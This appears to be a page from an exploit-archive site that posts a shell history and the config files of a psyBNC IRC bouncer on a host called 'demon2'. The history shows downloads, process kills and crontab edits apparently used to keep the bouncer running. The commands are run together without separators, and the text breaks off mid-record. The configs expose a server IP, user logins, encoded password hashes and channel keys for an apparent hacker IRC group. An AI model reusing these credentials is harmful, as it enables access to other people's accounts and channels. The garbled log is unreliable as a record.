-aux./psybncps -auxkill -9 2455ps -auxnano psybnc.confnano psybnc.conf./psybnccd lognano loglscat psybnc.logcd ..lsnano psybnc.confcd ..lsrm -rf psybnctar zxvf psyBNC-2.3.2-7.tar.gz ps -auxkill -9 2558cd psybnclsmakeps -auxnano psybnc.confnano psybnc.conf./psybnccd psybncnano psybnc.confcp psybnc.conf psybnc.1.conflscd psybnclscp psybnc.conf psybnc.1.confnano psybnc.1.confnano psybnc.1.confnano psybnc.1.confecho "" > psybnc.1.confnano psybnc.1.conf./psybnc psybnc.1.confcd psybnclsnano psybncchk crontab -ecrontab -ecrontab -epwdcrontab -enano psybncchknano psybncchknano psybncchkps -auxps -auxcd psybnccd loglscat psybnc.logcat psybnc.loglscat USER1.TRLcat USER2.TRLcat USER3.LOGcd ..lscat psybnc.confcd logcat psybnc.loglscd ..lsnano psybnc.confnano psybnc.confnano psybnc.1.confnano psybnc.confcd toolslscd ..lscd keylscd ..lsnano psybnc.1.confcd loglscat psybnc.logcd ..lsps -auxkill -9 3514ps -aux./psybnc psybnc.conflscd psybnclsnano psybnc.1.confnano psybnc.1.confgrep -rn 'version' *ps -auxnano psybnc.1.confnano psybnc.confnano psybnc.1.confnano psybnc.1.confnano psybnc.1.confnano psybnc.1.confexitcrontabcrontab -hcrontab -llscd psybnclscp psybnc.1.conf psybnc.gso.confnano psybnc.gso.confnano psybnc.confnano psybnc.confnano psybnc.gso.conf./psybnc psybnc.gso.conf lscd psybnclscat psybnc.confcd psybnc/lsnano psybnc.gso.confnano psybnc.conflswwhousersls psybncls domainsls public_html/ps -auxuptimeuname -alscd psybnc/lsmkdir probebnclscd probebnclslswget http://psybnc.info/download/psyBNC-2.3.2-7.tar.gztar -zxvf psyBNC-2.3.2-7.tar.gz lscd psybnc/ls./install./setupls menuconf/lscd $userlscd psybnclsrm -rf probebnc/ps -auxmkdir probelscd probelswget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gztar -zxvf psyBNC-2.3.2-7.tar.gz lscd psybnc/ls./install./setup./psybncchk cd $userlscd psybnc/lsrm -rf probelsmkdir probecd probelswget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gztar -xzvf psyBNC2.3.1.tar.gzlstar -xzvf psyBNC-2.3.2-7.tar.gz lscd psybnc/lsnano config.hmake menuconfigmakemake menuconfmake menuconfiglsnano psybnc.confrm *lsrm -rf *wget http://www.psybnc.at/download/beta/psyBNC-2.3.2-7.tar.gzlscd $userlscd psybnc/lscd probe/lsrm -rf psybnc/lstar -xzvf psyBNC-2.3.2-7.tar.gz lscd psybnc/lsnano config.hmake menuconfigmakelscd $user/psybnc/probecd $userlscd psybnc/lscd probe/lsrm -rf psybnc/tar -xzvf psyBNC-2.3.2-7.tar.gz lscd psybnc/lsmake menuconfigmakels./psybnccdps axkill -9 9128 12320 24226 28825cd psybncps ax./psybnc psybnc.1.conf./psybnc./psybnc psybnc.gso.confcdlsexitlscd psybnclshead psybnc.1.confhead psybnc.gso.conf./psybnc psybnc.gso.confps -aiuxps -auxps -auxkill 21054kill -9 21054./psybnc psybnc.gso.conflscd psycd psybnc/lscd probe/lscd psybnc/ls./psybncps -auxlsnano psybnc.confnano psybnc.confnano psybnc.conf.old nano config.hnano psybnc.confnano log/psybnc.logcd $userlscd psybnc/lscd probelsrm -rf psybnc/tar xzf psyBNC-2.3.2-7.tar.gz lscd psycd psybncls./psybncchk nano config.hlsnano REanano README make menuconfigmakels./psybncps axkill 1536lsps axkill 9672ps axkill 9672ps axcps axls./psybnc psybnc.gso.confps axkill 1536ps axkill -s 1536kill -9 9672ps axkill -9 1536ps axls./psybnc psybnc.gso.confps axps axkill -9 21041ps axkill -9 21047ps axkill -9 24942ps axls./psybnc psybnc.1.confps axls./psybnc psybnc.gso.conf ps axkill -9 ./psybnc psybnc.1.confkill -9 25484kill -9 25512ps axls./psybnccd helplscd ..lsps ax./psybnc psybnc.1.conf./psybnc./psybnc psybnc.gso.conf ps axlscd psybnclshead psybnc.confhead psybnc.1.conflscat psybnc.gso.confhead psybnc.gso.confpsybnc psybnc.gso.confls./psybnc psybnc.gso.conflscd psybnclshead psybnc.gso.conhead psybnc.gso.confpsybnc psybnc.gso.conf./psybnc psybnc.gso.conflscd psybnclshead psybnc.gso.confpsybnc psybnc.gso.conf./psybnc psybnc.gso.confps -auxkill -9 17551ps -aux./psybnc psybnc.gso.confps -auxps -auxwholastps -auxhead psybnc.gso.confcd psybnchead psybnc.gso.conflshead psybnc.confnetstat | grep listennetstatkill -9 31328./psybnc psybnc.gso.conflscd psybnclscat psybnc.gso.conflscd psybnc/lscat psybnc.gso.conf[root@demon2 bnc]# cd psybnc[root@demon2 psybnc]# lsCHANGES log psybnc psybnc.gso.conf.old targets.makconfig.h Makefile psybnc.1.conf psybnc.pid TODOCOPYING makefile.out psybnc.1.conf.old README toolsFAQ makesalt psybncchk salt.hhelp menuconf psybnc.conf SCRIPTINGkey motd psybnc.conf.old scriptslang probe psybnc.gso.conf src[root@demon2 psybnc]# cat psybnc.1.confPSYBNC.SYSTEM.PORT1=11474PSYBNC.SYSTEM.HOST1=72.20.26.209PSYBNC.HOSTALLOWS.ENTRY0=*;*USER1.USER.LOGIN=adminUSER1.USER.USER=FiShUSER1.USER.PASS==1h1K'Z`U`B'810'='TUSER1.USER.RIGHTS=1USER1.USER.VLINK=0USER1.USER.PPORT=0USER1.USER.PARENT=0USER1.USER.QUITTED=0USER1.USER.DCCENABLED=1USER1.USER.AUTOGETDCC=0USER1.USER.AIDLE=0USER1.USER.LEAVEQUIT=0USER1.USER.AUTOREJOIN=1USER1.USER.SYSMSG=1USER1.USER.LASTLOG=0USER1.USER.CERT=+USER1.USER.VHOST=g00ns.netUSER1.USER.LEAVEMSG=afkUSER1.USER.AWAYNICK=FiSh|bncUSER1.USER.NICK=FiShUSER1.SERVERS.SERVER1=S=irc.g00ns.netUSER1.SERVERS.PORT1=6601USER1.CHANNELS.ENTRY3=#13337USER1.CHANNELS.ENTRY6=#helpUSER1.CHANNELS.ENTRY8=#notgayUSER1.CHANNELS.ENTRY1=#g00nspriv8USER1.CHANNELS.ENTRY4=#batcaveUSER1.CHANNELS.KEY4=+1I271$28262u2A2U2UUSER1.CHANNELS.ENTRY7=#
exploitercodeUSER1.CHANNELS.ENTRY12=#s3xUSER1.CHANNELS.KEY12=+1W202824USER1.CHANNELS.ENTRY5=#g00nsUSER1.CHANNELS.ENTRY0=#illmobUSER1.CHANNELS.ENTRY2=#privateUSER1.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2AUSER1.CHANNELS.ENTRY9=#exopersUSER1.CHANNELS.ENTRY10=#irclogsUSER1.CHANNELS.KEY1=+1G2i2c2j2j2p2@USER2.USER.LOGIN=sCuZzUSER2.USER.USER=sCuZzUSER2.USER.PASS=='R1n1b`W1B031K`=`OUSER2.USER.RIGHTS=0USER2.USER.VLINK=0USER2.USER.PPORT=0USER2.USER.PARENT=0USER2.USER.QUITTED=0USER2.USER.DCCENABLED=1USER2.USER.AUTOGETDCC=0USER2.USER.AIDLE=0USER2.USER.LEAVEQUIT=0USER2.USER.AUTOREJOIN=1USER2.USER.SYSMSG=1USER2.USER.LASTLOG=0USER2.USER.CERT=+USER2.USER.VHOST=g00ns.netUSER2.USER.NICK=sCuZzUSER2.SERVERS.SERVER1=irc.g00ns.netUSER2.SERVERS.PORT1=6667USER2.CHANNELS.ENTRY2=#privateUSER2.CHANNELS.KEY2=+1N2h262e2b2o2F2&2U3a2d2D2AUSER2.CHANNELS.ENTRY1=#batcaveUSER2.CHANNELS.KEY1=+1I271$28262u2A2U2UUSER2.CHANNELS.ENTRY0=#g00nsUSER3.USER.LOGIN=giovanniUSER3.USER.USER=katalystUSER3.USER.PASS=='E13`h0v0V`H1u0A'fUSER3.USER.RIGHTS=0USER3.USER.VLINK=0USER3.USER.PPORT=0USER3.USER.PARENT=0USER3.USER.QUITTED=0USER3.USER.DCCENABLED=1USER3.USER.AUTOGETDCC=0USER3.USER.AIDLE=0USER3.USER.LEAVEQUIT=0USER3.USER.AUTOREJOIN=1USER3.USER.SYSMSG=1USER3.USER.LASTLOG=0USER3.USER.CERT=+USER3.USER.VHOST=g00ns.netUSER3.USER.NICK=giovanniUSER3.SERVERS.SERVER1=S=irc.g00ns.netUSER3.SERVERS.PORT1=6601USER3.CHANNELS.ENTRY3=#seminarUSER3.CHANNELS.ENTRY0=#g00nsUSER3.CHANNELS.ENTRY1=#illmobUSER3.CHANNELS.ENTRY4=#13337USER1.LGI.ENTRY1=FiSh;#privateUSER1.LGI.ENTRY0=FiSh;#g00nsUSER4.USER.LOGIN=sickUSER4.USER.USER=sickUSER4.USER.PASS=='t'L0Q'F'q'b16'o`aUSER4.USER.RIGHTS=0USER4.USER.VLINK=0USER4.USER.PPORT=0USER4.USER.PARENT=0USER4.USER.QUITTED=0USER4.USER.DCCENABLED=1USER4.USER.AUTOGETDCC=0USER4.USER.AIDLE=0USER4.USER.LEAVEQUIT=0USER4.USER.AUTOREJOIN=1USER4.USER.SYSMSG=1USER4.USER.LASTLOG=0USER4.USER.CERT=+USER4.USER.VHOST=g00ns.netUSER4.USER.NICK=sickUSER4.SERVERS.SERVER1=addserver s=irc.g00ns.netUSER4.SERVERS.PORT2=6661USER4.SERVERS.SERVER2=addserver irc.g00ns.netUSER4.SERVERS.PORT3=6601USER4.SERVERS.SERVER3=addserver addserver S=irc.g00ns.netUSER4.SERVERS.PORT4=6601USER4.SERVERS.SERVER4=addserver S=irc.g00ns.netUSER4.SERVERS.PORT5=6601USER4.SERVERS.SERVER5=s=irc.g00ns.netUSER4.SERVERS.PORT6=6601USER4.SERVERS.SERVER6=s=irc.g00ns.netUSER4.SERVERS.PORT1=6601[root@demon2 psybnc]# cat psybnc.confPSYBNC.SYSTEM.PORT1=11473PSYBNC.SYSTEM.HOST1=72.20.26.209PSYBNC.HOSTALLOWS.ENTRY0=*;*USER1.USER.LOGIN=adminUSER1.USER.USER=FiShUSER1.USER.PASS==1h1K'Z`U`B'810'='TUSER1.USER.RIGHTS=1USER1.USER.VLINK=0USER1.USER.PPORT=0USER1.USER.PARENT=0USER1.USER.QUITTED=1USER1.USER.DCCENABLED=1USER1.USER.AUTOGETDCC=0USER1.USER.AIDLE=0USER1.USER.LEAVEQUIT=0USER1.USER.AUTOREJOIN=1USER1.USER.SYSMSG=1USER1.USER.LASTLOG=0USER1.USER.CERT=+USER1.USER.VHOST=72.20.26.209USER1.USER.NICK=_FiShUSER2.USER.LOGIN=FiShUSER2.USER.USER=FiShUSER2.USER.PASS==0v0'01'T'q0='l`O'fUSER2.USER.RIGHTS=0USER2.USER.VLINK=0USER2.USER.PPORT=0USER2.USER.PARENT=0USER2.USER.QUITTED=0USER2.USER.DCCENABLED=1USER2.USER.AUTOGETDCC=0USER2.USER.AIDLE=0USER2.USER.LEAVEQUIT=0USER2.USER.AUTOREJOIN=1USER2.USER.SYSMSG=1USER2.USER.LASTLOG=0USER2.USER.CERT=+USER2.USER.NICK=FiShUSER3.USER.LOGIN=pr0beUSER3.USER.USER=pr0beUSER3.USER.PASS==1G0$0u10`N`C0B`X'`USER3.USER.RIGHTS=0USER3.USER.VLINK=0USER3.USER.PPORT=0USER3.USER.PARENT=0USER3.USER.QUITTED=0USER3.USER.DCCENABLED=1USER3.USER.AUTOGETDCC=0USER3.USER.AIDLE=0USER3.USER.LEAVEQUIT=0USER3.USER.AUTOREJOIN=1USER3.USER.SYSMSG=1USER3.USER.LASTLOG=0USER3.USER.CERT=+USER3.USER.VHOST=g00ns.netUSER3.USER.AWAY=|a|f|kUSER3.USER.NICK=pr0beUSER3.SERVERS.SERVER1=irc.g00ns.netUSER3.SERVERS.PORT2=6667USER3.SERVERS.SERVER2=irc.g00ns.netUSER3.SERVERS.PORT3=6601USER3.SERVERS.SERVER3=S=irc.g00ns.netUSER3.SERVERS.PORT1=6667USER1.SERVERS.SERVER1=S=irc.g00ns.netUSER1.SERVERS.PORT1=6601USER1.CHANNELS.ENTRY1=#g00nsUSER1.CHANNELS.ENTRY2=#13337USER1.CHANNELS.ENTRY3=#40zUSER1.CHANNELS.KEY3=+1H2i262j2c2s2R2YUSER1.CHANNELS.ENTRY4=#privateUSER1.CHANNELS.KEY4=+1H2i25202i2j2A2M2E3125USER1.CHANNELS.ENTRY5=#seminarUSER1.CHANNELS.ENTRY7=#helpUSER4.USER.LOGIN=SyNiCaLUSER4.USER.USER=SyNiCaLUSER4.USER.PASS==0G'11d`h1G121n0G`'USER4.USER.RIGHTS=0USER4.USER.VLINK=0USER4.USER.PPORT=0USER4.USER.PARENT=0USER4.USER.QUITTED=0USER4.USER.DCCENABLED=1USER4.USER.AUTOGETDCC=0USER4.USER.AIDLE=0USER4
您当前的位置：zbc exploits → exp → papers → 文章内容
退出登录 
little
big